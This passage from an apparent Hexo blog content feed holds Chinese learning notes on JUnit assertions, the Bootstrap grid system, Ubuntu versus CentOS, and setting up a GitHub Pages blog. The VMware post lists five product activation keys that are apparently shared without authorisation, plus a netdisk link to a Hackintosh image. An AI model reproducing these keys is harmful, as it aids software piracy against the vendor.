时中断当前操作的话，可以使用断言。单元测试必须使用断言（Junit/JunitX）。</p><h3 id="常用断言方法"><a href="#常用断言方法" class="headerlink" title="常用断言方法"></a>常用断言方法</h3><hr><table><thead><tr><th>断言</th><th>描述</th></tr></thead><tbody><tr><td>void assertEquals([String message], <br>expected value, actual value)</td><td>断言两个值相等。值可能是类型有 int, short, long,<br> byte, char or java.lang.Object. 第一个参数是一个可选的字符串消息</td></tr><tr><td>void assertTrue([String message],<br> boolean condition)</td><td>断言一个条件为真</td></tr><tr><td>void assertFalse([String message]<br>,boolean condition)</td><td>断言一个条件为假</td></tr><tr><td>void assertNotNull([String message],<br> java.lang.Object object)</td><td>断言一个对象不为空(null)</td></tr><tr><td>void assertNull([String message], <br>java.lang.Object object)</td><td>断言一个对象为空(null)</td></tr><tr><td>void assertSame([String message],<br> java.lang.Object expected,<br> java.lang.Object actual)</td><td>断言，两个对象引用相同的对象</td></tr><tr><td>void assertNotSame([String message],<br> java.lang.Object unexpected,<br> java.lang.Object actual)</td><td>断言，两个对象不是引用同一个对象</td></tr><tr><td>void assertArrayEquals([String message],<br> expectedArray, resultArray)</td><td>断言预期数组和结果数组相等。数组的类型可能是 int, long, short, char, byte or java.lang.Object.</td></tr></tbody></table><h3 id="测试断言效果"><a href="#测试断言效果" class="headerlink" title="测试断言效果"></a>测试断言效果</h3><hr/>在之前的单元测试类中创建一个名为 `testAssert` 方法来查看断言效果<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">/**</span><br><span class="line"> * 测试断言</span><br><span class="line"> */</span><br><span class="line">@Test</span><br><span class="line">public void testAssert() &#123;</span><br><span class="line">    String obj1 = &quot;junit&quot;;</span><br><span class="line">    String obj2 = &quot;junit&quot;;</span><br><span class="line">    String obj3 = &quot;test&quot;;</span><br><span class="line">    String obj4 = &quot;test&quot;;</span><br><span class="line">    String obj5 = null;</span><br><span class="line">    int var1 = 1;</span><br><span class="line">    int var2 = 2;</span><br><span class="line">    int[] arithmetic1 = &#123;1, 2, 3&#125;;</span><br><span class="line">    int[] arithmetic2 = &#123;1, 2, 3&#125;;</span><br><span class="line"></span><br><span class="line">    assertEquals(obj1, obj2);</span><br><span class="line"></span><br><span class="line">    assertSame(obj3, obj4);</span><br><span class="line"></span><br><span class="line">    assertNotSame(obj2, obj4);</span><br><span class="line"></span><br><span class="line">    assertNotNull(obj1);</span><br><span class="line"></span><br><span class="line">    assertNull(obj5);</span><br><span class="line"></span><br><span class="line">    assertTrue(&quot;为真&quot;, var1 == var2);</span><br><span class="line"></span><br><span class="line">    assertArrayEquals(arithmetic1, arithmetic2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> JAVA </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> JAVA </tag>
            
            <tag> JUint </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Bootstrap之网格系统</title>
      <link href="/2018/04/03/bootstrap-zhi-wang-ge-xi-tong/"/>
      <url>/2018/04/03/bootstrap-zhi-wang-ge-xi-tong/</url>
      
        <content type="html"><![CDATA[<h1 id="Bootstrap网格系统"><a href="#Bootstrap网格系统" class="headerlink" title="Bootstrap网格系统"></a>Bootstrap网格系统</h1><p><strong>Bootstrap 提供了一套响应式、移动设备优先的流式网格系统，随着屏幕或视口（viewport）尺寸的增加，系统会自分为最多12列。</strong></p><hr><h1 id="什么是网格（Grid）？"><a href="#什么是网格（Grid）？" class="headerlink" title="什么是网格（Grid）？"></a>什么是网格（Grid）？</h1><p>摘自维基百科：</p><blockquote><p>在平面设计中，网格是一种由一系列用于组织内容的相交的直线（垂直的、水平的）组成的结构（通常是二维的）。它广泛应用于打印设计中的设计布局和内容结构。在网页设计中，它是一种用于快速创建一致的布局和有效地使用 HTML 和 CSS 的方法。</p></blockquote><p>简单地说，网页设计中的网格用于组织内容，让网站易于浏览，并降低用户端的负载。</p><hr><h1 id="什么是-Bootstrap-网格系统（Grid-System）？"><a href="#什么是-Bootstrap-网格系统（Grid-System）？" class="headerlink" title="什么是 Bootstrap 网格系统（Grid System）？"></a>什么是 Bootstrap 网格系统（Grid System）？</h1><blockquote><p>Bootstrap 包含了一个响应式的、移动设备优先的、不固定的网格系统，可以随着设备或视口大小的增加而适当地扩展到 12 列。它包含了用于简单的布局选项的预定义类，也包含了用于生成更多语义布局的功能强大的混合类。</p></blockquote><p>让我们来理解一下上面的语句。Bootstrap 3 是移动设备优先的，在这个意义上，Bootstrap 代码从小屏幕设备（比如移动设备、平板电脑）开始，然后扩展到大屏幕设备（比如笔记本电脑、台式电脑）上的组件和网格。</p><h3 id="移动设备优先策略"><a href="#移动设备优先策略" class="headerlink" title="移动设备优先策略"></a>移动设备优先策略</h3><ul><li>内容<ul><li>决定什么是最重要的。</li></ul></li><li>布局<ul><li>优先设计更小的宽度。</li><li>基础的 CSS 是移动设备优先，媒体查询是针对于平板电脑、台式电脑。</li></ul></li><li>渐进式增强<ul><li>随着屏幕大小的增加而添加元素。</li></ul></li></ul><p>响应式网格系统随着屏幕或视口（viewport）尺寸的增加，系统会自动分为最多12列。</p><table><thead><tr><th>name</th><th>价格</th><th>数量</th><th>name</th><th>价格</th><th>数量</th><th>name</th><th>价格</th><th>数量</th><th>name</th><th>价格</th><th>数量</th></tr></thead><tbody><tr><td>香蕉</td><td>$1</td><td>5</td><td>香蕉</td><td>$1</td><td>5</td><td>香蕉</td><td>$1</td><td>5</td><td>香蕉</td><td>$1</td><td>5</td></tr><tr><td>苹果</td><td>$1</td><td>6</td><td>苹果</td><td>$1</td><td>6</td><td>苹果</td><td>$1</td><td>6</td><td>苹果</td><td>$1</td><td>6</td></tr><tr><td>草莓</td><td>$1</td><td>7</td><td>草莓</td><td>$1</td><td>7</td><td>草莓</td><td>$1</td><td>7</td><td>草莓</td><td>$1</td><td>7</td></tr></tbody></table><h1 id="Bootstrap-网格系统（Grid-System）的工作原理"><a href="#Bootstrap-网格系统（Grid-System）的工作原理" class="headerlink" title="Bootstrap 网格系统（Grid System）的工作原理"></a>Bootstrap 网格系统（Grid System）的工作原理</h1><p>网格系统通过一系列包含内容的行和列来创建页面布局。下面列出了 Bootstrap 网格系统是如何工作的：</p><pre><code>- 行必须放置在 .container class 内，以便获得适当的对齐（alignment）和内边距（padding）。- 使用行来创建列的水平组。- 内容应该放置在列内，且唯有列可以是行的直接子元素。- 预定义的网格类，比如 .row 和 .col-xs-4，可用于快速创建网格布局。LESS 混合类可用于更多语义布局。- 列通过内边距（padding）来创建列内容之间的间隙。该内边距是通过 .rows 上的外边距（margin）取负，表示第一列和最后一列的行偏移。- 网格系统是通过指定您想要横跨的十二个可用的列来创建的。例如，要创建三个相等的列，则使用三个 .col-xs-4。</code></pre><h1 id="媒体查询"><a href="#媒体查询" class="headerlink" title="媒体查询"></a>媒体查询</h1><p>媒体查询是非常别致的”有条件的 CSS3 规则”。它只适用于一些基于某些规定条件的 CSS。如果满足那些条件，则应用相应的样式。</p><p>Bootstrap 中的媒体查询允许您基于视口大小移动、显示并隐藏内容。下面的媒体查询在 LESS 文件中使用，用来创建 Bootstrap 网格系统中的关键的分界点阈值。</p><blockquote><p> /* 超小设备（手机，小于 768px） <em>/<br>    /</em> Bootstrap 中默认情况下没有媒体查询 <em>/<br> /</em> 小型设备（平板电脑，768px 起） <em>/<br>@media (min-width: @screen-sm-min) { … }<br> /</em> 中型设备（台式电脑，992px 起） <em>/<br>@media (min-width: @screen-md-min) { … }<br> /</em> 大型设备（大台式电脑，1200px 起） */<br>@media (min-width: @screen-lg-min) { … }<br>我们有时候也会在媒体查询代码中包含 max-width，从而将 CSS 的影响限制在更小范围的屏幕大小之内。<br>      @media (max-width: @screen-xs-max) { … }<br>      @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) { … }<br>      @media (min-width: @screen-md-min) and (max-width: @screen-md-max) { … }<br>      @media (min-width: @screen-lg-min) { … }<br>媒体查询有两个部分，先是一个设备规范，然后是一个大小规则。在上面的案例中，设置了下列的规则：<br>让我们来看下面这行代码：</p></blockquote><pre><code>@media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) { ... }</code></pre><p>对于所有带有 min-width: @screen-sm-min 的设备，如果屏幕的宽度小于 @screen-sm-max，则会进行一些处理。</p><h1 id="网格选项"><a href="#网格选项" class="headerlink" title="网格选项"></a>网格选项</h1><p>下表总结了 Bootstrap 网格系统如何跨多个设备工作：</p><pre><code>超小设备手机（&lt;768px）    小型设备平板电脑（≥768px）    中型设备台式电脑（≥992px）    大型设备台式电脑（≥1200px）</code></pre><table><thead><tr><th>超小设备手机（&lt;768px）</th><th>小型设备平板电脑（≥768px）</th><th>中型设备台式电脑（≥992px）</th><th>大型设备台式电脑（≥1200px）</th></tr></thead><tbody><tr><td>网格行为</td><td>一直是水平的</td><td>以折叠开始，断点以上是水平的</td><td>以折叠开始，断点以上是水平的</td></tr><tr><td>最大容器宽度</td><td>None (auto)</td><td>750px</td><td>970px</td></tr><tr><td>Class 前缀</td><td>.col-xs-</td><td>.col-sm-</td><td>.col-md-</td></tr><tr><td>列数量和</td><td>12</td><td>12</td><td>12</td></tr><tr><td>最大列宽</td><td>Auto</td><td>60px</td><td>78px</td></tr><tr><td>间隙宽度</td><td>30px（一个列的每边分别 15px）</td><td>30px（一个列的每边分别 15px）</td><td>30px（一个列的每边分别 15px）</td></tr><tr><td>可嵌套</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>偏移量</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>列排序</td><td>Yes</td><td>Yes</td><td>Yes</td></tr></tbody></table><h1 id="基本的网格结构"><a href="#基本的网格结构" class="headerlink" title="基本的网格结构"></a>基本的网格结构</h1><p>下面是 Bootstrap 网格的基本结构：</p><pre><code> &lt;div style=&quot;border: 1px&quot; class=&quot;container&quot;&gt;    &lt;div class=&quot;row&quot;&gt;        &lt;div class=&quot;col-md-4 col-xs-4&quot; style=&quot;border: 1px red solid&quot;&gt;左&lt;/div&gt;        &lt;div class=&quot;col-md-4 col-xs-4&quot; style=&quot;border: 1px red solid&quot;&gt;右&lt;/div&gt;    &lt;/div&gt;    &lt;div class=&quot;row&quot;&gt;        &lt;div class=&quot;col-md-6&quot; style=&quot;border: 1px yellow solid&quot;&gt;左&lt;/div&gt;        &lt;div class=&quot;col-md-6&quot; style=&quot;border: 1px yellow solid&quot;&gt;右&lt;/div&gt;    &lt;/div&gt;&lt;/div&gt;</code></pre><p>让我们来看几个简单的网格实例：</p><ul><li>实例：堆叠的水平</li></ul><ul><li><p>实例：中型和大型设备</p></li><li><p>实例：手机、平板电脑、台式电脑</p></li></ul><h1 id="响应式的列重置"><a href="#响应式的列重置" class="headerlink" title="响应式的列重置"></a>响应式的列重置</h1><p>以下实例包含了4个网格，但是我们在小设备浏览时无法确定网格显示的位置。</p><p>为了解决这个问题，可以使用 .clearfix class和 响应式实用工具来解决，如下面实例所示：</p><pre><code>&lt;div class=&quot;container&quot;&gt;&lt;div class=&quot;row&quot; &gt;    &lt;div class=&quot;col-xs-6 col-sm-3&quot;         style=&quot;background-color: #dedef8;        box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;    &lt;/div&gt;    &lt;div class=&quot;col-xs-6 col-sm-3&quot;     style=&quot;background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut         enim ad minim veniam, quis nostrud exercitation ullamco laboris         nisi ut aliquip ex ea commodo consequat.        &lt;/p&gt;        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut.         &lt;/p&gt;    &lt;/div&gt;    &lt;div class=&quot;clearfix visible-xs&quot;&gt;&lt;/div&gt;    &lt;div class=&quot;col-xs-6 col-sm-3&quot;     style=&quot;background-color: #dedef8;    box-shadow:inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        &lt;p&gt;Ut enim ad minim veniam, quis nostrud exercitation ullamco         laboris nisi ut aliquip ex ea commodo consequat.         &lt;/p&gt;    &lt;/div&gt;    &lt;div class=&quot;col-xs-6 col-sm-3&quot;     style=&quot;background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do         eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut         enim ad minim         &lt;/p&gt;    &lt;/div&gt;&lt;/div&gt;</code></pre></div><h4 id="请看一下效果："><a href="#请看一下效果：" class="headerlink" title="请看一下效果："></a>请看一下效果：</h4><p>电脑端案例：浏览器上调整窗口大小查看变化，或在您手机上查看效果。<br><img src="https://i.imgur.com/EYrjm6F.png" alt=""> </p><p><img src="https://i.imgur.com/CpZF2sM.png" alt=""></p><h1 id="偏移列"><a href="#偏移列" class="headerlink" title="偏移列"></a>偏移列</h1><p>偏移是一个用于更专业的布局的有用功能。它们可用来给列腾出更多的空间。例如，.col-xs-* 类不支持偏移，但是它们可以简单地通过使用一个空的单元格来实现该效果。</p><p>为了在大屏幕显示器上使用偏移，请使用 <code>.col-md-offset-*</code> 类。这些类会把一个列的左外边距（margin）增加 * 列，其中 * 范围是从 1 到 11。</p><p>在下面的实例中，我们有 <div class="col-md-6">..</div>，我们将使用 <code>.col-md-offset-3 class</code> 来居中这个 div。</p><pre><code>&lt;div class=&quot;container&quot;&gt;&lt;h1&gt;Hello, Bootstrap!&lt;/h1&gt;&lt;div class=&quot;row&quot; &gt;    &lt;div class=&quot;col-md-6 col-md-offset-3&quot;         style=&quot;background-color: #dedef8;box-shadow:     inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing            elit.        &lt;/p&gt;    &lt;/div&gt;&lt;/div&gt;</code></pre><p>结果如下：<br><img src="https://i.imgur.com/Ibr4UGL.png" alt=""></p><h1 id="嵌套列"><a href="#嵌套列" class="headerlink" title="嵌套列"></a>嵌套列</h1><p>为了在内容中嵌套默认的网格，请添加一个新的 <strong>.row</strong>，并在一个已有的 <strong>.col-md-*</strong> 列内添加一组 <strong>.col-md-*</strong> 列。被嵌套的行应包含一组列，这组列个数不能超过12（其实，没有要求你必须占满12列）。</p><p>在下面的实例中，布局有两个列，第二列被分为两行四个盒子。</p><div class="container">   <h1>Hello, world!</h1>   <div class="row"><pre><code>&lt;div class=&quot;col-md-3&quot; style=&quot;background-color: #dedef8;box-shadow:    inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;   &lt;h4&gt;第一列&lt;/h4&gt;   &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;col-md-9&quot; style=&quot;background-color: #dedef8;box-shadow:    inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;   &lt;h4&gt;第二列 - 分为四个盒子&lt;/h4&gt;   &lt;div class=&quot;row&quot;&gt;      &lt;div class=&quot;col-md-6&quot; style=&quot;background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;         &lt;p&gt;Consectetur art party Tonx culpa semiotics. Pinterest             assumenda minim organic quis.         &lt;/p&gt;      &lt;/div&gt;      &lt;div class=&quot;col-md-6&quot; style=&quot;background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;         &lt;p&gt; sed do eiusmod tempor incididunt ut labore et dolore magna             aliqua. Ut enim ad minim veniam, quis nostrud exercitation             ullamco laboris nisi ut aliquip ex ea commodo consequat.         &lt;/p&gt;      &lt;/div&gt;   &lt;/div&gt;   &lt;div class=&quot;row&quot;&gt;      &lt;div class=&quot;col-md-6&quot; style=&quot;background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;         &lt;p&gt;quis nostrud exercitation ullamco laboris nisi ut             aliquip ex ea commodo consequat.         &lt;/p&gt;      &lt;/div&gt;         &lt;div class=&quot;col-md-6&quot; style=&quot;background-color: #B18904;         box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;         &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit,             sed do eiusmod tempor incididunt ut labore et dolore magna             aliqua. Ut enim ad minim.&lt;/p&gt;      &lt;/div&gt;   &lt;/div&gt;&lt;/div&gt;</code></pre>   </div></div>**运行效果：**![](https://i.imgur.com/qi2aEBu.png)<p>注：CSS3 box-shadow 属性向 div 元素添加阴影：<a href="https://www.runoob.com/cssref/css3-pr-box-shadow.html" title="CSS3 box-shadow 属性">https://www.runoob.com/cssref/css3-pr-box-shadow.html</a></p><h1 id="列排序"><a href="#列排序" class="headerlink" title="列排序"></a>列排序</h1><p>Bootstrap 网格系统另一个完美的特性，就是您可以很容易地以一种顺序编写列，然后以另一种顺序显示列。</p><p>您可以很轻易地改变带有 <code>.col-md-push-*</code> 和 <code>.col-md-pull-*</code> 类的内置网格列的顺序，其中 * 范围是从 1 到 11。</p><p>在下面的实例中，我们有两列布局，左列很窄，作为侧边栏。我们将使用 <code>.col-md-push-*</code>和 <code>.col-md-pull-*</code> 类来互换这两列的顺序</p><pre><code>&lt;div class=&quot;row&quot;&gt;    &lt;p&gt;排序前&lt;/p&gt;    &lt;div class=&quot;col-md-4&quot; style=&quot;background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        我在左边    &lt;/div&gt;    &lt;div class=&quot;col-md-8&quot; style=&quot;background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444, inset -1px 1px 1px #444;&quot;&gt;        我在右边    &lt;/div&gt;&lt;/div&gt;&lt;br&gt; &lt;div class=&quot;row&quot;&gt;    &lt;p&gt;排序后&lt;/p&gt;    &lt;div class=&quot;col-md-4 col-md-push-8&quot;         style=&quot;background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444,     inset -1px 1px 1px #444;&quot;&gt;        我在左边    &lt;/div&gt;    &lt;div class=&quot;col-md-8 col-md-pull-4&quot;         style=&quot;background-color: #dedef8;     box-shadow: inset 1px -1px 1px #444,     inset -1px 1px 1px #444;&quot;&gt;        我在右边    &lt;/div&gt;&lt;/div&gt;</code></pre><p>演示结果：<img src="https://i.imgur.com/IJwU12i.png" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> 学习笔记 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> bootstrap </tag>
            
            <tag> 学习笔记 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>VMware Workstation Pro 15下载</title>
      <link href="/2018/03/18/vmware-workstation-pro-15-xia-zai/"/>
      <url>/2018/03/18/vmware-workstation-pro-15-xia-zai/</url>
      
        <content type="html"><![CDATA[<h1 id="Windows平台最强虚拟机软件已经更新到了VM15-版本了，VMware-Workstation-Pro-15-全面进行了改造重新制作了UI界面及LOGO图标，VMware-Workstation-允许操作系统和应用程序在一台虚拟机内部运行。"><a href="#Windows平台最强虚拟机软件已经更新到了VM15-版本了，VMware-Workstation-Pro-15-全面进行了改造重新制作了UI界面及LOGO图标，VMware-Workstation-允许操作系统和应用程序在一台虚拟机内部运行。" class="headerlink" title="Windows平台最强虚拟机软件已经更新到了VM15 版本了，VMware Workstation Pro 15 全面进行了改造重新制作了UI界面及LOGO图标，VMware Workstation 允许操作系统和应用程序在一台虚拟机内部运行。"></a>Windows平台最强虚拟机软件已经更新到了VM15 版本了，VMware Workstation Pro 15 全面进行了改造重新制作了UI界面及LOGO图标，VMware Workstation 允许操作系统和应用程序在一台虚拟机内部运行。</h1><h2 id="虚拟机是独立运行主机操作系统的离散环境。在-VMware-Workstation-中，你可以在一个窗口中加载一台虚拟机，它可以运行自己的操作系统和应用程序。"><a href="#虚拟机是独立运行主机操作系统的离散环境。在-VMware-Workstation-中，你可以在一个窗口中加载一台虚拟机，它可以运行自己的操作系统和应用程序。" class="headerlink" title="虚拟机是独立运行主机操作系统的离散环境。在 VMware Workstation 中，你可以在一个窗口中加载一台虚拟机，它可以运行自己的操作系统和应用程序。"></a>虚拟机是独立运行主机操作系统的离散环境。在 VMware Workstation 中，你可以在一个窗口中加载一台虚拟机，它可以运行自己的操作系统和应用程序。</h2><h2 id="你可以在运行于桌面上的多台虚拟机之间切换，通过一个网络共享虚拟机，挂起和恢复虚拟机以及退出虚拟机，这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。"><a href="#你可以在运行于桌面上的多台虚拟机之间切换，通过一个网络共享虚拟机，挂起和恢复虚拟机以及退出虚拟机，这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。" class="headerlink" title="你可以在运行于桌面上的多台虚拟机之间切换，通过一个网络共享虚拟机，挂起和恢复虚拟机以及退出虚拟机，这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。"></a>你可以在运行于桌面上的多台虚拟机之间切换，通过一个网络共享虚拟机，挂起和恢复虚拟机以及退出虚拟机，这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。</h2><p><img src="https://i.imgur.com/S0b5hyj.png" alt=""></p><p><img src="https://i.imgur.com/FHp061U.png" alt=""></p><p>** 激活密钥许可证VMware Workstation Pro 15 **</p><p><em>激活许可证</em></p><p>UY758-0RXEQ-M81WP-8ZM7Z-Y3HDA</p><p>VF750-4MX5Q-488DQ-9WZE9-ZY2D6</p><p>UU54R-FVD91-488PP-7NNGC-ZFAX6</p><p>YC74H-FGF92-081VZ-R5QNG-P6RY4</p><p>YC34H-6WWDK-085MQ-JYPNX-NZRA2</p><p><strong>下载地址VMware Workstation Pro 15.5.0 Build 14665864</strong></p><p><em><a href="https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.0-14665864.exe">https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.5.0-14665864.exe</a></em></p><p><em>VMware Workstation Pro 15.1.0 Build 13591040<br><a href="https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.1.0-13591040.exe">https://download3.vmware.com/software/wkst/file/VMware-workstation-full-15.1.0-13591040.exe</a></em></p><p><em>VMware Workstation Pro 14.1.3 Build 9474260<br><a href="https://download3.vmware.com/software/wkst/file/VMware-workstation-full-14.1.3-9474260.exe">https://download3.vmware.com/software/wkst/file/VMware-workstation-full-14.1.3-9474260.exe</a><br>*<br>*VMware Workstation Pro 12.5.9 Build 7535481<br><a href="https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.9-7535481.exe">https://download3.vmware.com/software/wkst/file/VMware-workstation-full-12.5.9-7535481.exe</a></em></p><p><em>VMware Workstation 10.0.7 Build 2844087<br><a href="https://download3.vmware.com/software/wkst/file/VMware-workstation-full-10.0.7-2844087.exe">https://download3.vmware.com/software/wkst/file/VMware-workstation-full-10.0.7-2844087.exe</a></em></p><h2 id="黑苹果链接（感谢论坛友人分享）"><a href="#黑苹果链接（感谢论坛友人分享）" class="headerlink" title="黑苹果链接（感谢论坛友人分享）"></a>黑苹果链接（感谢论坛友人分享）</h2><p>链接：<a href="https://pan.baidu.com/s/1ZouLWPk2QGdAapwrWjuz_Q">https://pan.baidu.com/s/1ZouLWPk2QGdAapwrWjuz_Q</a><br>提取码：xxmn </p>]]></content>
      
      
      <categories>
          
          <category> 资源 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 资源 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ubuntu与centos的区别</title>
      <link href="/2018/03/16/ubuntu-yu-centos-de-qu-bie/"/>
      <url>/2018/03/16/ubuntu-yu-centos-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="ubuntu与centos的区别"><a href="#ubuntu与centos的区别" class="headerlink" title="ubuntu与centos的区别"></a>ubuntu与centos的区别</h1><p><strong>共同点</strong></p><p>1.两个系统都分别有桌面系统与服务器系统，不过ubuntu的桌面从外观上来看要比centos的漂亮<br><img src="https://i.imgur.com/wG2Wijz.png" alt=""></p><p><strong>不同点</strong></p><p>1.centos中新建的普通用户是没有sudo权限的，如果想让普通用户拥有sudo权限需要在/etc/sudoers文件中添加用户的权限，而ubuntu系统普通用户想要使用sudo权限  直接使用sudo +命令行的方式就可以了<br><img src="https://i.imgur.com/F9j1bQf.png" alt=""><br><img src="https://i.imgur.com/gO8IHXy.png" alt=""></p><p>2.安装软件包命令格式不一样。centos使用yum的方式，而Ubuntu使用apt-get 方式。<br><img src="https://i.imgur.com/5HVsSwb.png" alt=""></p><p>3.由于centos是基于redhat的，所以centos支持rpm包，但Ubuntu不支持。<br><img src="https://i.imgur.com/ncFb1r6.png" alt=""></p><p>4.现在虽然说ubuntu系统也可以使用服务器端来进行使用了，但相对centos来说并没有centos稳定。而且在一些比较知名的技术论坛大多都是关于centos的，所以在遇到问题查询资料的时候相对要比ubuntu要更方便一些。如下图中centos中文站技术论坛，是很多学习者经常查询问题的地方。<br><img src="https://i.imgur.com/dZWrs2n.png" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Linux </tag>
            
            <tag> ubuntu </tag>
            
            <tag> centos </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git page搭建个人博客教程</title>
      <link href="/2018/03/11/hexo-github-1/"/>
      <url>/2018/03/11/hexo-github-1/</url>
      
        <content type="html"><![CDATA[<blockquote><p>有任何问题请联系我扣扣：1260842695，vx：szhll5201314，24小时随时在线哦<br>如果觉得有用的话可以看心情打赏一杯奶茶，我会很开心哒。</p></blockquote><h3 id="我的博客源代码地址"><a href="#我的博客源代码地址" class="headerlink" title="我的博客源代码地址"></a>我的博客源代码地址</h3><p>大家可以直接素质二连，star&amp;fork我的博客源代码：<a href="https://github.com/leblog">https://github.com/leblog</a><br>然后改改配置就可以写文章啦。</p><p>首先将所有文件下载到本地。<br>解压node_modules.zip，然后删除node_modules.zip和.git文件夹。<br>还缺一个字体（为图片添加水印需要用到），去C:\Windows\Fonts下找到STSong Regular，复制到hexo-matery-modified文件夹下。</p><h3 id="快速搭建"><a href="#快速搭建" class="headerlink" title="快速搭建"></a>快速搭建</h3><p>如果你不想自己从头开始慢慢自定义主题的话，可以直接下载我的修改好的主题，然后稍微修改几个地方就好了：</p><p>根目录配置文件_config.yml和主题目录配置文件_config.yml中修改个人信息。<br>根目录配置文件中修改deploy一栏的repository。<br>根目录配置文件中修改baidu_url_submit一栏的token。<br>主题配置文件中修改gitalk一栏，修改方法见正文。<br>当然前提是个性化设置章节之前的环境还是需要配置好！</p><p>平时常用命令：</p><pre>    <code>hexo g  # 生成博客网页文件hexo s  # 本地预览博客hexo d  # 上传网页文件到github    </code></pre><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>17年9月的时候开始搭建了第一个自己的独立博客，到现在也稍微像模像样了。很多小伙伴应该也想过搭建一个自己的博客，网上也有一堆详细教程。我在此稍稍总结一下具体的搭建步骤，另外网上很少有修改博客源码的个性化教程，我就稍稍分享一下我的一些修改经验，更多的个性化操作需要你自己以后去摸索。</p><p>具体效果可以参观我的博客：<b>leblog.github.io</b>，欢迎大家支持。</p><p>我不是一个前端程序员，有些东西不是很了解，写的有问题或有改进的地方请大家指出。</p><p>首先要了解一下我们搭建博客要用到的框架。Hexo是高效的静态站点生成框架，它基于Node.js。通过Hexo，你可以直接使用Markdown语法来撰写博客。相信很多小伙伴写工程都写过README.md文件吧，对，就是这个格式的！写完后只需两三条命令即可将生成的网页上传到你的github上，然后别人就可以看到你的网页啦。是不是很简单？你无需关心网页源代码的具体细节，你只需要用心写好你的博客内容就行。</p><h1 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h1><hr><ul><li>安装Node.js</li><li>添加国内镜像源</li><li>安装Git</li><li>注册Github账号</li><li>安装Hexo</li><li>连接Github与本地</li><li>写文章、发布文章</li></ul><h3 id="安装Node-js"><a href="#安装Node-js" class="headerlink" title="安装Node.js"></a>安装Node.js</h3><p>首先下载稳定版<a>Node.js</a>，我这里给的是64位的。</p><p>安装选项全部默认，一路点击Next。</p><p>最后安装好之后，按Win+R打开命令提示符，输入node -v和npm -v，如果出现版本号，那么就安装成功了。</p><p>添加国内镜像源<br>如果没有梯子的话，可以使用阿里的国内镜像进行加速。</p><pre>    <code>npm config set registry https://registry.npm.taobao.org    </code></pre><h3 id="安装Git"><a href="#安装Git" class="headerlink" title="安装Git"></a>安装Git</h3><p>为了把本地的网页文件上传到github上面去，我们需要用到分布式版本控制工具————Git[下载地址]。</p><p>安装选项还是全部默认，只不过最后一步添加路径时选择Use Git from the Windows Command Prompt，这样我们就可以直接在命令提示符里打开git了。</p><p>安装完成后在命令提示符中输入git –version验证是否安装成功</p><p>注册Github账号<br>接下来就去注册一个github账号，用来存放我们的网站。大多数小伙伴应该都有了吧，作为一个合格的程序猿（媛）还是要有一个的。</p><p>打开<a href="https://github.com/，新建一个项目，如下所示：">https://github.com/，新建一个项目，如下所示：</a></p><p><img src="2.png" alt=""><br>然后如下图所示，输入自己的项目名字，后面一定要加.github.io后缀，README初始化也要勾上。名称一定要和你的github名字完全一样，比如你github名字叫abc，那么仓库名字一定要是abc.github.io<br><img src="3.png" alt=""><br>然后项目就建成了，点击Settings，向下拉到最后有个GitHub Pages，点击Choose a theme选择一个主题。然后等一会儿，再回到GitHub Pages，会变成下面这样：<br><img src="4.png" 